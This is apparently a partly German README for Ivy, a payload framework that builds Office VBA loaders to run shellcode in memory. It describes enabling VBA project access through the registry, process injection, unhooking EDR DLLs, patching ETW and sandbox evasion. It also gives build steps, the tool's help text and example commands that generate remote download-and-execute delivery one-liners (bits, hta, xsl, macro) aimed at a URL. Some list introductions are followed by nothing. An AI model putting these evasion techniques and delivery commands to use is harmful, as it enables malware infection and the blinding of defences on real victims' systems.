optiv/ivyIvy is a payload creation framework for the execution of arbitrary VBA (macro) source code directly in memory. Ivy’s loader does this by utilizing programmatical access in the VBA object environment to load, decrypt and execute shellcode.
Um die neueste Version von Ivy anzuzeigen oder ein Problem zu melden, besuchen Sie https://github.com/Tylous/Ivy.
Wenn Sie mehr über die in diesem Framework verwendeten Techniken sowie die Abwehrmaßnahmen erfahren möchten, werfen Sie bitte einen Blick auf den Artikel.
Ivy ist ein Framework zur Erstellung von Payloads für die Ausführung von beliebigem VBA (Makro)-Quellcode im Arbeitsspeicher. Ivy's Loader erreicht dies durch den Missbrauch des programmatischen Zugriffs in der VBA-Objektumgebung, um Shellcode zu laden, zu entschlüsseln und auszuführen. Diese Technik kommt einer wirklich dateilosen Methode so nahe wie möglich, da die meisten dateilosen Angriffe heutzutage das Ablegen von Dateien auf der Festplatte erfordern, wodurch standardmäßige signaturbasierte Regeln zur Erkennung von VBA-Code umgangen werden. Typische VBA-Payloads haben die folgenden Eigenschaften:
Durch die reine Ausführung im Arbeitsspeicher wird es für EDRs schwieriger, diese Verhaltensmerkmale zu erkennen.
Ivys Loader werden mit RC4-Verschlüsselung verschlüsselt (AES-Verschlüsselung verursacht viel Bloat und dauert ewig, bis VBA sie entschlüsselt) und dann in separate Strings aufgeteilt, um zu verhindern, dass Sandboxing diese Strings als verschlüsselte Strings erkennt, die untersucht werden sollten. Dies verhindert auch, dass ein Dekodierungsmechanismus diese Payloads als etwas anderes als Müllzeichen erkennt.
Ivys Loader führt zunächst eine Registrierungsabfrage durch, um den "Zugriff auf das VBA-Projektobjektmodell vertrauen" zu aktivieren. Dieser Registrierungsschlüsselwert wird im Benutzermodus gespeichert, sodass der Benutzer den Wert ohne erhöhte Berechtigungen ändern kann. Der Registrierungswert wird von Null auf Eins gesetzt; wenn der Registrierungsschlüssel nicht existiert, erstellt Ivy ihn mit dem Wert "1". Mit diesem aktivierten Wert ist der programmatische Zugriff auf die VBA-Objektumgebung von einem anderen Prozess aus erlaubt.
Sobald dies erledigt ist, startet der Loader einen versteckten Excel-Prozess und lädt die verschlüsselten Strings in eine VBA-Funktion. Dies geschieht durch die Verwendung von ActiveX, um die GUI-Aktionen derselben Aufgabe zu simulieren. Dies hilft, viele traditionelle Kontrollen zu umgehen, die die Ausführung überwachen. Infolgedessen werden die Entschlüsselungsfunktion und der Shellcode von einem Speicherpuffer in einen anderen verschoben, ohne jemals die Festplatte zu berühren. Schließlich verwendet der Loader Befehls-GUI-Aufrufe und führt die Run-Funktion aus, die das Klicken auf den Makro-Ausführungsbutton im GUI-Panel von VBA simuliert, beginnend mit der Entschlüsselungsfunktion, gefolgt von der eigentlichen Ausführung des Shellcodes.
WICHTIG
Das Zielsystem muss Microsoft Office installiert und aktiviert haben, um ausgeführt werden zu können, da Ivy auf den Missbrauch des programmatischen Zugriffs auf die VBA-Umgebung von Microsoft Office angewiesen ist.
Dies ermöglicht Ivy die Verwendung von Low-Level-Systemaufrufen, um eine eigene Version der Windows-Funktion WriteProcessMemory zu erstellen, indem die direkte Speicheradresse und Registerwerte indirekt referenziert werden. Ivy kann Speicherbereiche überschreiben, die nicht beschreibbar sind, ohne eine der API-Funktionen zur Speicheränderung aufzurufen. Dies wird durch eine Eigenschaft von WriteProcessMemory ermöglicht, die vorübergehend die Berechtigungen des Speicherbereichs auf beschreibbar ändert (wenn ausreichende Berechtigungen vorhanden sind, was der Fall ist, da wir den Prozess besitzen). Es schreibt den Wert und stellt die ursprünglichen Berechtigungen wieder her, ohne die VirtualProtect-Funktion aufzurufen, sondern ruft stattdessen automatisch den zugehörigen Syscall (NtProtectVirtualMemory) auf.
Ivy verwendet keine eigene Version von NtWriteVirtualMemory, da dieser Prozess der vorübergehenden Änderung der Speicherberechtigungen nicht stattfinden würde, was bedeutet, dass der Schutz der spezifischen Speicheradresse nicht geändert würde und die Ausführung fehlschlagen würde. Dies ist eine „Funktion“, die Microsoft veröffentlicht hat, um Debugger stabiler zu machen. Da Debugger Speicher im laufenden Betrieb ändern möchten, können sie einfach einen Abschnitt ändern, ohne mehrere Aufgaben ausführen zu müssen. (Siehe devblogs.microsoft.com für Informationen).
Werfen wir einen Blick auf die Ereigniskette, die ein EDR sehen würde:
Sobald alle EDR-Hooks entfernt wurden, führt der Loader seine normale Aktion aus, um eine entfernte Sitzung herzustellen.
Ivy adressiert dies, indem es gängige System-DLLs enthakt, die EDRs hooken, darunter:
Bei Verwendung von unhook mit einem Payload-Typ Inject wird Ivys Loader zuerst den Office-Prozess enthaken, wodurch das EDR aus diesem entfernt wird, und dann die Hooks im injizierten Prozess entfernen. Dies stellt sicher, dass beide Prozesse hookfrei sind, wodurch verhindert wird, dass Telemetriedaten vom übergeordneten und untergeordneten Prozess an das EDR gesendet werden.
Mit derselben Technik wie beim Unhooking kann Ivy ETW-Funktionen patchen, wodurch verhindert wird, dass Ereignisse vom Prozess generiert werden. ETW verwendet integrierte Syscalls, um diese Telemetrie zu generieren. Da ETW eine native Windows-Funktion ist, müssen Sicherheitsprodukte die ETW-Syscalls nicht „hooken“, um die Informationen zu erhalten. Folglich patcht Ivy zahlreiche ETW-Syscalls, leert die Register aus und gibt den Ausführungsfluss an die nächste Anweisung zurück. Das Patchen von ETW ist standardmäßig in allen Loadern aktiviert. Wenn Sie ETW nicht patchen möchten, verwenden Sie die Befehlszeilenoption -noetw, um es in Ihrem Loader zu deaktivieren.
Ivy wurde mit Go entwickelt.
Der erste Schritt ist wie immer das Klonen des Repos. Bevor Sie Ivy kompilieren, müssen Sie die Abhängigkeiten installieren. Führen Sie dazu die folgenden Befehle aus:
go get github.com/fatih/color
go get github.com/KyleBanks/XOREncryption/Go
Dann bauen Sie es
go build Ivy.go
$ ./Ivy -h
___ ___ ___ ___ ___
|\ \ |\ \ / /||\ \ / /|
\ \ \\ \ \ / / /\ \ \/ / /
\ \ \\ \ \/ / / \ \ / /
\ \ \\ \ / / \/ / /
\ \__\\ \__/ / __/ / /
\|__| \|__|/ |\___/ /
\|___|/
(@Tyl0us)
The suffering. The pain. Can't you hear them?
Their cries for mercy?
Usage of ./Ivy:
-Ix64 string
Path to the x64 payload
-Ix86 string
Path to the x86 payload
-O string
Name of output file
-P string
Payload type "Inject" (Which performs a process injection) or "Local" (Which loads the payload directly into the current process)
-debug
Print debug statements
-delivery string
Generates an one-liner command to download and execute the payload remotely:
[*] bits - Generates a Bitsadmin one liner command to download, execute and remove the loader.
[*] hta - Generates a blank hta file containing the loader along with a one liner command execute the loader remotely.
[*] macro - Generates an office macro that would download and execute a the loader remotely.
[*] xsl - Generates a xsl stylesheet file containing the loader along with a one liner command execute the loader remotely.
-process32 string
The full path to the x86 application to spawn. Only use applications that are found in System32 & SYSWOW64 (default is rundll32.exe)
-process64 string
The full path to the x64 application to spawn. Please specify the path to the process to create/inject into (use \ for the path) (default is explorer.exe)
-product string
Name of the office product to use (Excel, Word, PowerPoint) (default "Excel")
-sandbox
Enable sandbox evasion controls (i.e. checks if the system is domain joined)
-stageless
Enables stageless payload. When this option is enabled use a raw payload (aka .bin files) instead of .c code
-unhook
Unhooks EDR's hooks before loading payload
-url string
URL assoicated with the Delivery option to retrieve the payload. (e.g https://acme.com/)
Beim Erstellen eines Loaders mit Ivy müssen Sie einen 64- und einen 32-Bit-Payload generieren und diese mit den Befehlszeilenargumenten -Ix64 und -Ix86 eingeben. Dies liegt daran, dass das Betriebssystem 64-Bit sein kann, die ausgeführte Office-Version jedoch möglicherweise 32-Bit ist; folglich erkennt Ivy die geeignete Architektur, bevor der Payload injiziert wird.
Darüber hinaus gibt es beim Erstellen eines Loaders zwei Payload-Typen. Der erste, Inject, führt einen Prozessinjektionsangriff durch, bei dem ein neuer Prozess in einem angehaltenen Zustand erzeugt wird und der Shellcode in den Prozess injiziert wird, bevor er fortgesetzt wird. Obwohl Prozessinjektion praktisch sein kann und einen Nicht-Excel-Prozess erzeugt, sind EDRs sehr geschickt darin, den Akt des Erstellens eines angehaltenen Prozesses zur Injektion zu erkennen, was uns auffliegen lassen kann. Die heimlichere Option ist Local. Diese lädt den Shellcode direkt in den aktuellen Office-Prozess. Die Local-Option bietet auch zusätzliche Funktionen zur Erkennungsvermeidung, indem direkte Aufrufe einiger Windows-Syscalls verwendet werden. Dies liegt daran, dass die VBA-Umgebung es uns ermöglicht, die genaue Funktion zu definieren und aufzurufen (vorausgesetzt, wir haben alle korrekten Register vorher ausgerichtet), basierend auf dem Stack. Schließlich hat Ivys Loader in diesem Payload-Typ einen undokumentierten Aufruf zur Ausführung von Shellcode, was die Erkennung erschwert.
Im Inject-Modus erzeugt Ivy einen Prozess in einem angehaltenen Zustand, um Shellcode zu injizieren. Abhängig davon, ob es sich um ein 32- oder 64-Bit-System handelt, wird ein anderer Prozess erzeugt. Ivy enthält einige Standardprozessnamen zum Erzeugen, diese können jedoch mit den Flags process32 oder process64 geändert werden. Wenn Sie den Pfad angeben, stellen Sie sicher, dass Sie \\ für den Pfad verwenden.
Zuallererst: SIE SOLLTEN IMMER das Argument -stageless verwenden. Falls Sie jedoch jemals einen gestaffelten Payload ausführen müssen, können Sie dies tun, indem Sie das Argument -stageless nicht verwenden. Bei Verwendung von -stageless können Sie rohen Shellcode verwenden. Wenn Sie sich jedoch für die Ausführung eines gestaffelten Payloads entscheiden, ist es wichtig, dass für Inject-Payload-Typen der Shellcode im VBA-Format und für Local-Typen der Shellcode im C-Format vorliegt.
Das Befehlszeilenargument delivery ermöglicht es Ihnen, einen Befehl oder eine Codezeichenfolge (im Makro-Fall) zu generieren, um die Datei aus einer entfernten Quelle auf den Host des Opfers zu ziehen. Diese Auslieferungsmethoden umfassen:
./Ivy -Ix64 test64.vba -Ix86 test32.vba -P Inject -O SampleInject.js
./Ivy -Ix64 test64.c -Ix86 test32.c -P Local -O SampleLocal.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -process64 C:\\windows\\system32\\notepad.exe -process32 C:\\windows\\SysWOW64\\notepad.exe -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -unhook -O stageless.js
./Ivy -stageless -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -unhook -O stageless.js
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Inject -O test.png -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.js -url http://ACME.com -delivery bits -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.hta -url http://ACME.com -delivery hta -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.xsl -url http://ACME.com -delivery xsl -stageless
./Ivy -Ix64 stageless64.bin -Ix86 stageless32.bin -P Local -O test.txt -url http://ACME.com/test.txt -delivery macro -stageless
Derzeit gibt es ein bekanntes Problem mit dem Entfernen der Hooks im remote injizierten Prozess. Eine aktuelle Problemumgehung besteht darin, den unhook BOF zu laden.